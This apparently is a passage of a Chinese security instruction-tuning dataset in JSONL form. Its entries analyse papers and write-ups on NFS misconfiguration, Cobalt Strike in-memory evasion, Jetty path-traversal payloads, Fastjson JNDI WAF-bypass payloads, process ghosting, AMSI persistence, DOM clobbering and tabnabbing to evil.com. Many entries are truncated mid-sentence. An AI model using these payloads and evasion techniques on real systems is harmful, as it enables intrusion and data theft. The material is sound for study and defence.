"", "output": "安全文本分析：\n\n# NFS未授权访问漏洞 ## 漏洞描述 NFSNetwork File System是一种网络文件系统允许在不同的网络主机上共享文件当NFS服务器未正确配置或缺少访问控制机制时可能存在未授权访问漏洞攻击者可以利用此漏洞访问受影响主机上的文件和数据甚至可以修改或删除敏感信息 ## 环境搭建 ``` # 安装nfs服务 yum install nfs-utils.x86_64 -y # 启动服务 systemctl start nfs-server.service # 设置开机自启 systemctl enable rpcbind.service systemctl enable nfs-server.service # 配置nfs vim /etc/exports / *(rw,sync,no_root_squash) # 启动共享 exportfs -r ``` ## 漏洞利用 查看共享 ``` [root@localhost tmp]# showmount -e Export list for localhost.localdomain: / * ``` 客户端挂载命令 ``` mkdir /tmp/test mount -t nfs 192.168.32.183:/ /tmp/test ``` 扫描nfs ``` [root@localhost tmp]# rpcinfo -p 192.168.32.183 program vers proto port service 100000 4 tcp 111 portmapper 100000 3 tcp 111 portmapper 100000 2 tcp 111 portmapper 100000 4 udp 111 portmapper 100000 3 udp 111 portmapper 100000 2 udp 111 portmapper 100005 1 udp 20048 mountd 100005 1 tcp 20048 mountd 100005 2 udp 20048 mountd 100024 1 udp 38880 status 100005 2 tcp 20048 mountd 100024 1 tcp 60551 status 100005 3 udp 20048 mountd 100005 3 tcp 20048 mountd 100003 3 tcp 2049 nfs 100003 4 tcp 2049 nfs 100227 3 tcp 2049 nfs_acl 100003 3 udp 2049 nfs 100003 4 udp 2049 nfs 100227 3 udp 2049 nfs_acl 100021 1 udp 48592 nlockmgr 100021 3 udp 48592 nlockmgr 100021 4 udp 48592 nlockmgr 100021 1 tcp 42350 nlockmgr 100021 3 tcp 42350 nlockmgr 100021 4 tcp 42350 nlockmgr ``` 查看挂载的目录会出现所有的/目录下的文件 ``` ls /tmp/test/ ``` ![image-20230129213959283](../../.gitbook/assets/image-20230129213959283.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n我的CS笔记之- In-memory Evasion 3 0x00 前言 前2部分讲了侦测手法CS payload的加载细节这一部分主要讲怎么逃逸了主要是使用CS自身的 C2profile来改变payload的加载行为目前看来这些对抗手段已经是标配了攻防对抗是一个水涨船高 的过程标配都没搞好天天去搞更强的对抗就有点浮夸我们一步一步来 0x01 普通逃逸和CS的相关配置 在In-memory Evasion 3中逃逸主要还是围绕着In-memory Evasion 1中的3个部分展开 我们先来回顾异常指标 线程开始地址异常 当前进程 公鸡程序常常是申请一个内存写入公鸡代码然后使用createThread执行这个内存地 址指针 正常程序是创建一个函数createThread执行这个函数因此模仿就好了 远程线程 通过劫持一个已经存在的线程比修改线程开始地址好SetTheadContext 通过LoadLibrary导入一个存在的DLL然后在内存中替换从我们的公鸡代码使用 CreateRemoteThread启动线程这样看起来你似乎是在执行一个硬盘存在的正常dll 内存权限异常 避免RWX 映射页权限看上去是很合理的映射一个DLL并且覆盖它的内存 内存内容异常 不要看起来像一个DLL除非这个DLL是程序预期的情况 混淆和删除可能被用于分析的字符串 混淆内存当代码不被使用的时候 在CS中的相关对抗方法 线程开始地址异常 使用EXEDLL artifacts 使用Process Hollowing(x64->x86, x64->x64)CS的Post-exploitation jobs已经这样做了 避免注入到存在的远程进程 内存权限异常 避免使用artifactscs中哪些是artifacts看上一篇中的表它使用RWX权限 避免使用stagers避免使用cs中分阶段的加载 在C2profile中配置userwx为false 内存内容异常 在beacon的前后增加花指令 替换各种可能被作为特征的字符串 嵌入任意字符串 编辑PE头 开启混淆 Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 1 / 4 - Welcome to www.red-team.cn 最后配置好了以上修改我们怎么来检测我们配置的效果呢Attacks -> Packages -> Windows EXE(s) 使用raw的输出格式然后使用一下3种命令都可以查看我们可以对比配置前和配置后 以上是常规的对抗规避手法如果仅仅只是做好以上的目前来看是不做一定被杀做了也不一定能 免杀还需要更多的其他手段才能在目前的对抗环境下生存 0x02 进程上文和Session Prepping 进程链也叫进程树的异常也是被防御软件采用的一种查杀手法这个很多小伙伴多多少少都是听说 过的例如word.exe起一个powershell.exe或者cmd.exe这个父子经常就容易被防御软件阻断 那么如何来提升进程的信誉度呢作者给出了一下几个方法 数字证书 一个可信的父进程 不要用一个经常在攻击行动种出现的进程例如rundll32这个都快被用烂了 Session Prepping这个我也不知道怎么翻译意思是派生一个新进程通过以下操作让这个新进程看 上去很正常 使用ps命令查看当前电脑的进程情况 使用ppid指定一个父进程 使用spawnto [arch] [path] 改变cs的模板进程 这考验的就是个人对异常进程链和正常进程链的理解了例如你模板进程是werfault.exe父进程是 explorer.exe我们知道了父进程的pid在spawnto指定模板进程的使用给werfault.exe加上参数 这样看起来就比较正常尽量模仿正常的进程树就行了各种细节到位这除了伪造以外作者还想表 达一个思想就是用派生进程执行攻击即使触发拦截被杀你还有其他session他举例了他们团队的 小伙伴就是没有派生进程导致立柱点掉了这个和测waf一个思想你不要再漏洞点上测waf选一个 其他地方测试测试完了再去漏洞点利用 最后作者给了一张CS里面Artifacts的异常指标图大家使用的时候可以对照下 strings -e |beacon.bin strings beacon.bin hexdump -C beacon.bin spawnto x64 c:\\windows\\sysnative\\werfault.exe -u -p <父进程pid> Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 2 / 4 - Welcome to www.red-team.cn 0x0", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nLight & Shadow about Net-Banking $ecurity @ Japan @2013 HITCON 愛奴 & 愛花 Punpun maru Profile Started lecturing and writing as a freelancer since 2000 AVTOKYO Speaker (2010, 2011, 2012) Wrote Introduction of Information Security for the textbook of universities Regular writer for Hacker Japan Magazine Serious day job around Financial Industry Profile 愛奴愛花 Aido & Manaka I successfully took her out from the virtual game world. I am presenting about how beautiful life with Girlfriend Please see Every day of love 京都 伏見稲荷大社 Fushimi Inari Taisha Snowball fight against Japan CTF team UCQ tessy CTF Team Lovers Team Famous Castle in Japan Himeji Castle World Heritage Kumamoto Castle Agenda Background History Data and Statics Light and Shadow of net-banking security practices Cost and work amount Business Strategy Power balance against Systems Integrators The result of a Power Balance Studies and Solutions Screen Keyboard Eliminating Popup Windows S/MIME mail Password Reminder One Time Password (Bingo Card) One Time Password (send by e-mail) Secure Browser Password Number(PIN) Telephone Banking Background 8 In order to prevent drawing money by fraud, phishing or spyware, many banks performed original various measures in Japan. It's unfortunate but they failed to protect their customers from a crime. I will explain the light and the shadow of those measures. History 9 1997/01 The first net-banking services was launched by Sumitomo Bank. 2000/01 The first bank provides all services via the internet, was established. 2005 Phishing fraud mail posing Mega-Bank (Bank of Tokyo-Mitsubishi UFJ) was found. 2006 The first damege by phishing fraud was found at E-bank (Rakuten Bank, today). 2007 Phishing fraud site have users enter all numbers on Bingo Card was found at Shinsei Bank (First Case). 2011 Simultaneous multiple phishing fraud (use spyware) posing regional banks occurred in later half of the year. 2012 Phishing fraud site have users enter all ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# CONFidence 2019 CTF Teaser Post Mortem Hi all, thanks for playing CONFidence 2019 CTF Teaser! Now the CTF is over, so we'd like to dump some data, share some perspective, and show how things worked from behind the scenes. Also, please be aware that it was just a teaser - the real event will happen 3-4 June in Krakow. Top teams will receive free conference passes (wait for an email), but everyone is invited as long as you show up at the conference with a valid ticket. ## 1. Challenges 546 teams registered, of which 522 solved at least one challenge. We prepared 16 challenges, all of which were solved. ![](skoroboro.png) The hardest challenge (judging by the number of solves) was game_server. The easiest challenge (ignoring the sanity check) was admin_panel, closely followed by elementary and count. | Challenge name | Solves | | ---------------| ------| | game server | 7 | | p4fmt | 10 | | go machine | 10 | | lottery | 11 | | watchmen | 13 | | sloik | 14 | | neuralflag | 22 | | web_50 | 29 | | pudliszki | 37 | | oldschool | 37 | | really suspicious acronym | 52 | | bro, do you even lift | 65 | | count me in! | 115 | | elementary | 123 | | my admin panel | 151 | | sanity check | 522 | In retrospect, there could be more hard challenges. We underestimated you and thought that 24 hours is not enough time to hack all of our tasks. We were wrong ;). However, only one team managed to solve all our challenges (congratz, hxp), so it's not too bad. On the other hand, some people complained that even the easiest tasks were challenging, and wished for something more beginner-friendly. We'll work on that next time! Also, we need more pwn challenges. We had some of them planned, but life happened and they were not ready for the CTF. Sorry to all the pwn-lovers that had nothing to do (except for the pwning the kernel in p4fmt, of course). ## 2. Survey Ok, we had some challenges, but were they any good? Let's ask the players. Our survey was filled in by 39 people, most of whom were", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Jetty Ambiguous Paths Information Disclosure Vulnerability (CVE-2021-34429) [中文版本(Chinese version)](README.zh-cn.md) Eclipse Jetty is a Java web server and Java Servlet container. Jetty 9.4.40 fixed an ambiguous paths information disclosure vulnerability [CVE-2021-28164](https://github.com/vulhub/vulhub/tree/master/jetty/CVE-2021-28164), CVE-2021-34429 is a variation and bypass of it. There are 3 types of payload that exfiltrate the content of `WEB-INF/web.xml`: - Unicode based URL encoded: `/%u002e/WEB-INF/web.xml` - `\\0` with `.` bug: `/.%00/WEB-INF/web.xml` - `\\0` with `..` bug: `/a/b/..%00/WEB-INF/web.xml` The vulnerability affects the Jetty 9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5. References: - https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm - https://xz.aliyun.com/t/10039 ## Vulnerable Application Execute the following command to start a Jetty 9.4.40 server. ``` docker compose up -d ``` After the server starts, visit ``http://your-ip:8080`` to see an example page. ## Exploit The sensitive file web.xml is not accessible through `/WEB-INF/web.xml`. ![](1.png) Use payload `/%u002e/WEB-INF/web.xml` to bypass the restriction: ![](2.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nRoom for Escape: Scribbling Outside the Lines of Template Security 1 Alvaro Muñoz @pwntester Staff Security Researcher Oleksandr Mirosh @olekmirosh Security Researcher 2 Content Management Systems (CMS) A CMS is an application that is used to manage web content Allows multiple contributors to create, edit and publish. Content is typically stored in a database and displayed in a presentation layer based on a set of templates. Templates normally support a subset of programming language capabilities so they are normally sandboxed 3 Our Research What: .NET and Java based CMSs Assumption: We can control Templates Goal: Escape Template sandboxes 4 Agenda 1. Introduction 2. .NET (SharePoint) Introduction to SharePoint ASPX pages Safe Mode Breaking out of Safe Mode Demo 3. Java Engines and CMSs Generic (object-based) Bypasses Specific Engine Bypasses 4. Conclusions 5 SharePoint 6 Site Pages A.K.A. user-defined pages play role of templates for rendering dynamic content stored in content database can be customized by regular users processed in safe mode Application Pages A.K.A. system pages implement server-side logic stored on file system cannot be changed by regular users processed as regular unrestricted ASPX files VS SharePoint ASPX Pages 7 SPVirtualPathProvider SystemPage.aspx UserPage.aspx safe mode SPPageParserFilter Content DB normal mode File System 8 SharePoint ASPX Pages <%@ Page %> <%@ Import Namespace=\"System\" %> <% Lb1.Text = \"Hello, world!\"; %> \" /> <%-- server-side comments --%> directive attribute in directive server-side code block embedded server-side code server-side control data-binding expression server-side comment server-side include directive 9 SharePoint", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nread === 从键盘读取变量值 ## 补充说明 **read命令** 从键盘读取变量的值通常用在shell脚本中与用户进行交互的场合该命令可以一次读取多个变量的值变量和输入的值都需要使用空格隔开在read命令后面如果没有指定变量名读取的数据将被自动赋值给特定的变量REPLY ### 语法 ```shell read(选项)(参数) ``` ### 选项 ```shell -p指定读取值时的提示符 -t指定读取值时等待的时间秒 ``` ### 参数 变量指定读取值的变量名 ### 实例 下面的列表给出了read命令的常用方式 ```shell read 1987name 从标准输入读取输入并赋值给变量1987name ``` ```shell read first last 从标准输入读取输入到第一个空格或者回车将输入的第一个单词放到变量first中并将该行其他的输入放在变量last中 ``` ```shell read 从标准输入读取一行并赋值给特定变量REPLY ``` ```shell read -a arrayname 把单词清单读入arrayname的数组里 ``` ```shell read -p \"text\" 打印提示text等待输入并将输入存储在REPLY中 ``` ```shell read -r line 允许输入包含反斜杠 ``` ```shell read -t 3 指定读取等待时间为3秒 ``` ```shell read -n 2 var 从输入中读取两个字符并存入变量var不需要按回车读取 ``` ```shell read -d \":\" var 用定界符:结束输入行 ``` ## read命令示例 从标准输入读取输入并赋值给变量1987name ```shell #read 1987name #等待读取输入直到回车后表示输入完毕并将输入赋值给变量answer HelloWorld #控制台输入Hello #echo $1987name #打印变量 HelloWorld ``` 等待一组输入每个单词之间使用空格隔开直到回车结束并分别将单词依次赋值给这三个读入变量 ```shell #read one two three 1 2 3 #在控制台输入1 2 3它们之间用空格隔开 #echo \"one = $one, two = $two, three = $three\" one = 1, two = 2, three = 3 ``` REPLY示例 ```shell #read #等待控制台输入并将结果赋值给特定内置变量REPLY This is REPLY #在控制台输入该行 #echo $REPLY #打印输出特定内置变量REPLY以确认是否被正确赋值 This is REPLY ``` -p选项示例 ```shell #read -p \"Enter your name: \" #输出文本提示同时等待输入并将结果赋值给REPLY Enter you name: stephen #在提示文本之后输入stephen #echo $REPLY stephen ``` 等待控制台输入并将输入信息视为数组赋值给数组变量friends输入信息用空格隔开数组的每个元素 ```shell #read -a friends Tim Tom Helen #echo \"They are ${friends[0]}, ${friends[1]} and ${friends[2]}.\" They are Tim, Tom and Helen. ``` **补充一个终端输入密码时候不让密码显示出来的例子** 方法1 ```shell #!/bin/bash read -p \"输入密码\" -s pwd echo echo password read, is \"$pwd\" ``` 方法2 ```shell #!/bin/bash stty -echo read -p \"输入密码\" pwd stty echo echo echo 输入完毕 ``` 其中选项`-echo`禁止将输出发送到终端而选项`echo`则允许发送输出 使用read命令从键盘读取变量值并且将值赋给指定的变量输入如下命令 ```shell read v1 v3 #读取变量值 ``` 执行上面的指令以后要求键入两个数据如下所示 ```shell Linux c+ #输入数据 ``` 完成之后可以使用echo命令将指定的变量值输出查看输入如下命令 ```shell echo $v1 $v3 #输出变量的值 ``` 执行输出变量值的命令以后将显示用户所输入的数据值如下所示 ```shell Linux c+ #输出变量值 ``` 注意使用echo命令输出变量值时必须在变", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n译者序 本书由 kuang110 和我共同翻译完成其中笫 23456 章为 kuang110 翻译其它 的由本人翻译由于是两人翻译的而每个人的翻译风格可能会不同所以当你在书中看 到一个单词有两个完全不同的翻译时请不要惊讶且由于本人翻译水平有限不足之处在所 难免但在翻译时我会尽量避免用一些晦涩难懂的长句 本书的所讲的主要内容请看介绍部分个人对本书的评价是适合有 C 语言基础而且有 对驱动开发有一定的了解的人阅读因为本书是介绍 rootkit 而不是介绍驱动开发的所以 对于什么是 DriverEntry什么是卸载例程这些不会详细的讲解本书适合于 rootkit 的入门 讲的都是比较基础的东西里面所讲的技术不会太高深而且这些技术都是比较老比较落后 了的但是要知道万丈高楼平地起不打好基础又如何去学习高深的技术所以对于要了解 什么是 rootkitrootkit 是如何工作的它们都的什么功能如何编写一个 rootkit 以及 rootkit 的基本检测与防护技术等等本书还是足够了的 本书翻译版首发于看雪论坛论坛上有每一章的 word 版需要的到论坛上找找 最后祝大家有一个愉快的旅程 demoscene 2011 年 1 月 8 日 关于作者 村 Ric Vieler 是一个软件工程师和经过认证的道德黑客他喜欢编写技术手册例如 Professional Rootkits和科幻小说例如 Spliced, Acknowledge, 和 A Stitch in Time他沉迷 于对对计算机内部未公开和各种东西有一个透切的了解在他职业生涯的高潮终于达到了 专业的黑客攻击在不玩黑不读书不写文章时Ric 的空闲时间都陪着他的妻子 Lisa 和 他们的两个孩子Samantha 和 Dylan 参与人员 Executive Editor Carol Long Development Editor Ed Connor Technical Editor John Heasman Production Editor William A. Barton Copy Editor Luann Rouff Editorial Manager Mary Beth Wakefield Production Manager Tim Tate Vice President and Executive Group Publisher Richard Swadley Vice President and Executive Publisher Joseph B. Wikert Graphics and Production Specialists Brooke Graczyk Joyce Haughey Alicia B. South Quality Control Technicians Christine Pingleton Charles Spencer Project Coordinator Erin Smith Media Development Specialists Angie Denny Kit Malone Kate Jenkins Steve Kudirka Proofreading and Indexing Christine Sabooni and Estalita Slivoskey Anniversary Logo Design Richard J. Pacifico 介绍 什么是专业的 Rootkit Rootkit Rootkit Rootkit Hacker Defender, HE4Hook, Vanquish, NT Rootkit, FU, AFX Rootkit这是一些感染了全 世界几百万台计算机的 rootkit 的名字这些 rootkit 有很多的共同点它们都是由一个或者 最多是几个程序员编写出来的它们都能够在未经授权的情况下去访问某些信息它们都使 用了一些隐藏技术以防止被检测到并且它们使用这些技术并不是为了自己的某些目的 一个 rootkit 的目的是什么呢程序员认为它们的目的有很多一些是作为可以使一个 网站超负荷运行的网络僵尸客户端一些是为了发送一些我们每天早上都会在我们的电 子邮件里看到的垃圾邮件一些作为一个进入其它安全的网络的桥梁其它的是为了收集我 们的个人信息来娱乐或者获取利益这些目都影响着最终的 rootkit 产品是什么我会更精 确地把它们称做是临时软件这些软件会被它们的目的所限制这些目的都是非法的 不道德的破坏性的或者是没有意义的在这些伪装下开发的软件通常不能称之为工具 材料和用来开发商用级软件的专业知识 本书将跳过这种临时 rootkit看向专业 rootkit 的新兴领域 网友们把专业定义为符合一个专业的技术或道德", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2017年\"Process Doppelganging\", NTFS+section https://github.com/hasherezade/process_doppelganging https://www.youtube.com/watch?v=Cch8dvp836w 进程的创建不支持NTFS transacted文件,所以分割进程的步骤寻找创建方法 跟踪 CreateProcessW 调用 xp NtOpenFile NtCreateSection NtCreateProcessEx ... NtCreateThreadEx 在win10下直接使用 NtCreateUserProcess 创建看起来无法使用ntfs了但是微软为了 兼容也可以使用之前xp的创建进程的方法 2018年 transacted_hollowing https://github.com/hasherezade/transacted_hollowing 进程替换只是利用了ntfs translation 和 file delete pending 2021年 Process Ghosting https://github.com/hasherezade/process_ghosting 使用 delete pending file + Process Doppelganging的手法 NTFS Transactions Delete Pending 逆向 DeleteFileW 可以看到使用 NtOpenFile -> NtQueryInfomationFile -> NtClose 用NtOpenFile打开的文件只需要设置delete标志使用 NtSetInformationFile(FileDispositionInformation) 设置文件为delete-pending 写入文件因为文件状态是delete-pending,内容可以写入但是其他外部文件读取会失败 当关闭文件句柄时文件也会被删除", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n原链接,我做个复现. https://b4rtik.github.io/posts/antimalware-scan-interface-provider-for-persistence/ https://twitter.com/netbiosX/status/1282051493676417028 出现错误的话. 试试 然后效果就是这样 视频上传到B站了 bilibili:RedTeamWing 前 利 lcewirg nANILKOITSLAaS-OO.星rA SscLseRAeuSnJLON MiCRosoftNindws14.18362.900 CL201MicRosoftCorporationoE C:YUsersYXuanJiansuhoami whoam desktop-tigjskaxuanjian CALUSCRsIXuanJianhaha haha HaDOOGBTTTZIDEmtoTeiZLE \"haha' ABBBBOLOO c:LUseRSIXUaNJiaN2 回 WORSNASGML 1 rvs 1 net user administrator /active:yes", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: dnswalk categories: Information Gathering tags: [dnswalk,information gathering,recon,dns,kali linux] date: 2016-10-21 10:07:46 --- 0x00 dnswalk介绍 ------------- dnswalk是一个DNS调试器它执行指定域的传送并以多种方式检查数据库内部一致性以及准确性 工具来源http://sourceforge.net/projects/dnswalk/ [dnstracer主页][1] | [Kali dnstracer Repo仓库][2] - 作者David Barr - 证书Artistic 0x01 dnswalk功能 --------------- ```shell root@kali:~# dnswalk --help 用法: dnswalk [-选项[-更多选项]] [--] [程序参数1 ...] 接受以下单字符选项: 该选项有参数: -D 布尔型(没有参数): -r -f -i -a -d -m -F -l 选项可以合并在一起--stop选项不做合并处理 选项及其参数之间不需要空 示例: dnswalk domain.com. 输入的域名必须以'.'结束 ``` ```shell -r 递归向下查询指定域的子域 -a 打开重复A记录的警告 -d 打印调试和'状态'信息到stderr仅在重定向stdout时使用 -m 仅在上次运行后域已被修改时才执行检查 -F 执行\"fascist\"检查在检查A记录时不匹配每个IP地址的PTR名称与转发名称和报告 -i 禁止检查域名中的无效字符 -l 执行\"lame delegation\"检查 对于每个NS记录检查列出的主机是否确实是此域返回的权威答应 ``` 0x02 dnswalk用法示例 ----------------- ```shell root@kali:~# dnswalk www.harvard.edu. Checking www.harvard.edu. BAD: SOA record not found for www.harvard.edu. BAD: www.harvard.edu. has NO authoritative nameservers! BAD: All zone transfer attempts of www.harvard.edu. failed! 0 failures, 0 warnings, 3 errors. ``` 现在大多都没有域传送的漏洞了这个工具现在比较鸡肋 [1]: http://sourceforge.net/projects/dnswalk/ [2]: http://tools.kali.org/information-gathering/dnswalk", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nrev === 将文件内容以字符为单位反序输出 ## 补充说明 **rev命令** 将文件中的每行内容以字符为单位反序输出即第一个字符最后输出最后一个字符最先输出依次类推 ### 语法 ```shell rev(参数) ``` ### 参数 文件指定要反序显示内容的文件 ### 实例 ```shell [root@localhost ~]# cat iptables.bak # Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013 *filter :INPUT DROP [48113:2690676] :FORWARD accept [0:0] :OUTPUT ACCEPT [3381959:1818595115] -A INPUT -i lo -j ACCEPT -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A INPUT -p icmp -j ACCEPT -A OUTPUT -o lo -j ACCEPT COMMIT # Completed on Thu Dec 26 21:25:15 2013 [root@localhost ~]# rev iptables.bak 3102 51:52:12 62 ceD uhT no 5.3.1v evas-selbatpi yb detareneG # retlif* ]6760962:31184[ PORD TUPNI: ]0:0[ TPECCA DRAWROF: ]5115958181:9591833[ TPECCA TUPTUO: TPECCA j- ol i- TUPNI A- TPECCA j- 22 tropd-- pct m- pct p- TUPNI A- TPECCA j- 08 tropd-- pct m- pct p- TUPNI A- TPECCA j- DEHSILBATSE,DETALER etats-- etats m- TUPNI A- TPECCA j- pmci p- TUPNI A- TPECCA j- ol o- TUPTUO A- TIMMOC 3102 51:52:12 62 ceD uhT no detelpmoC # ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n浅谈Fastjson绕waf 写在前 关键时期换个味虽然是炒陈饭但个认为有货的慢慢看从最简单到些个认 为较骚的本垃圾代码狗没有实战经验因更多是从fastjson的词法解析部分构造混 淆 初级篇 添加空字符 在 com.alibaba.fastjson.parser.JSONLexerBase#skipWhitespace public final void skipWhitespace() { while(true) { while(true) { if (this.ch <= '/') { if (this.ch == ' ' || this.ch == '\\r' || this.ch == '\\n' || this.ch == '\\t' || this.ch == '\\f' || this.ch == '\\b') { this.next(); continue; } if (this.ch == '/') { 不难看出默认会去除键值外的空格 \\b \\n \\r \\f 等作为开胃菜 默认开启的Feature中得到的思路 添加多个逗号 FastJson中有个默认的Feature是开启的 AllowArbitraryCommas 这允许我们多个逗号 这可以添加的位置很多 this.skipComment(); continue; } } return; } } } json字段名不被引号包括 也是个默认开启的Feature AllowUnQuotedFieldNames 但是只在恢复字段的过程调 当中有效果 因此原来的payload可以做此改造 {,,,,,,\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",,,,,,\"dataSourceName\":\"rmi: //127.0.0.1:1099/Exploit\",,,,,, \"autoCommit\":true} {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1 :1099/Exploit\", \"autoCommit\":true} || \\/ {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",dataSourceName:\"rmi://127.0.0.1:1 099/Exploit\", \"autoCommit\":true} json字段名使单引号包裹 Feature.AllowSingleQuote 也是默认开启滴这个太简单了就不说了 @type后的值第个引号可以替换为其他字符 主要是个逻辑问题 这我们可以对之前获取 @type 的过程先检验了当前位置是 \" 再扫描到下个 \" 之间的 值 因此可以构造出,注意 com 前的引号被我改了, {\"@type\":xcom.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0 .1:1099/Exploit\", \"autoCommit\":true} 编码绕过(Unicode/Hex) 先在 com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol ,当中可以看见 如果遇到了 \\u 或者 \\x会有解码操作 if (ch == '\"') { key = lexer.scanSymbol(this.symbolTable, '\"'); lexer.skipWhitespace(); ch = lexer.getCurrent(); //省略不必要代码 } 还可以混合编码这步到位 对字段添加多个下划线或者减号 1.2.36版本前 在 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseFie ld 解析字段的key的时候调了 smartMatch 下截了与本主题相关的关键点 {\"\\x40\\u0074\\u0079\\u0070\\u0065\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourc eName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true} 由于这有 break 不持两个起混合使只能单使其中个随便加 1.2.36版本及以后 我们再来看这个 smartMatch 调了 com.alibaba.fastjson.util.TypeUtils#fnv1a_64_lower {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",'d_a_t_aSourceName':\"rmi:/", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDOM Clobbering攻击学习 DOM Clobbering攻击其实算是比较老的攻击手法了只是之前只知道最基本的dom-xss没有去深入 了解过今天看到相关文章觉得挺有意思所以学习记录一下 概念 DOM破坏是一种将构造的特殊HTML代码注入到页面中以操纵DOM并最终更改页面上JavaScript行为的 技术在无法使用XSS的情况下DOM破坏尤其有用可以在属性id或name被HTML过滤器列入白名单 的页面上控制某些HTML DOM破坏的最常见形式是使用锚元素覆盖全局变量然后该全局变量将被应 用程序以不安全的方式使用例如生成动态脚本URL 相关知识 dom对windows对象的影响 首先下面这是个正常的弹窗功能的html代码 然而有一个小知识就是在HTML里设定一个有id的元素之后在JS里就能存取操作它 而因为JS的scope链我们可以直接操作btn 所以最开始的代码可以简化为 不需要 getElementById等操作他会自动一层层向上查询到windows对象 而除了id可以直接用windows直接存取操作外还有四个tag用name也可以 DOM Clobbering 由以上我们可以得知我们可以根据特殊构造的HTML去影响JS原本的运行这也是DOM破坏攻击的基本 构造一个留言板场景如下

众所周知现在的开发安全在服务端会写很多安全规则来过滤一些关键词来防御XSS让你构造的恶意js 无法执行使得XSS无效 但是由于一些功能的要求比如插入图片等等某些地方还是会支持正常的html语句比如
等等 于是我们可以插入一个id是test_name的div标签通过if判断再用a标签设置恶意payload 可以看到成功打到了cookie 用a标签构造的原因 在toString时会回传url并且可通过href属性来设置url让其可控 所以DOM Clobbering攻击分两步走 1. 用html构造含id属性的语句影响JS中的变量 2. 用a标签搭配href达到恶意攻击 不过这种攻击需要注意的一点就是如果攻击的变量以及被定义了那么用DOM覆盖不掉 多层级的 DOM Clobbering
如果需要覆盖的对象由多个层级有以下几个办法构造 1. 利用HTML标签的层级关系 可以利用 form[name] 或是 form[id] 去拿它下层的元素去构造多层DOM clobbering 这种情况就没有a标签不能直接用了 2. 特性HTMLCollection HTMLCollection 是 HTML 元素的集合类似一个包含 HTML 元素的数组列表 在Window对象窗口中确定命名属性名称的值的时候如果对象只有一个元素则返回该元素 否则返回以窗口的关联文档为根的HTMLCollection该HTMLCollection的过滤器仅匹配名称为 window的命名对象 根据定义这些都是元素 而我们可以利用 name 或是 id 去拿 HTMLCollection 里面的元素
``` 2. He tricks the victim into visiting the link, which is opened in the browser in a new tab. 3. At the same time the JS code is executed and the background tab is redirected to the website evil.com, which is most likely a phishing website. ## References * [Hackerone #260278](https://hackerone.com/reports/260278)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHITCON PACIFIC 2017 ICS/SCADA Cybersecurity and IT Cybersecurity: Comparing Apples and Oranges Presented by David Ong | CEO of Attila Cybertech 8 December 2017 2 2 But there are also unknown unknowns. There are things we dont know we dont know. Donald Rumsfeld, former Secretary of Defence Quote by Donald Rumsfeld 3 David Ong, Entrepreneur and Founder of Excel Marco Group, a successful Industrial Automation Integrator and Attila Cybertech, a Operational Technology (OT) cyber security firm. With over 20 years of professional experience and is widely recognized as an active professional in process automation safety industries. Biography About Attila Cybertech Cyber Security in Operational Technology (OT) Data Analytics for Plant and Factory Optimization OT and IT Integration for the Critical Information Infrastructure Sectors (CII) To be a leader in creating resilient Cyber Ecosystem that is safe and transformational for humanity To help create Cyber-Resilience Critical Information Infrastructure (CII) and to inspire Data Analytics application using Artificial Intelligence VISION MISSION 3 Terminology Types of ICS The Need to Secure ICS IT-OT Convergence Challenges in IT-OT Convergence Standards & Best Practices for ICS ICS Cyber Security Assessment Cyber Security Assessment & Tool ICS Security Architecture Industrial Protocols Security Application for ICS Q & A 4 VS IT OT ICS/SCADA Cyber security and IT Cybersecurity Comparing Apples and Oranges OT is hardware and software that detects or causes a change through the direct monitoring and/or control of physical devices, processes and events in the enterprise. (Gartner) OT is a category of hardware and software that monitors and controls how physical devices perform. (SearchData.com) OT is the hardware and software dedicated to detecting or causing changes in physical processes through direct monitoring and/or control of physical devices such as valves, pumps, etc. (Wikipedia) 5 What is Operational T", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThe Darknet of Things Building 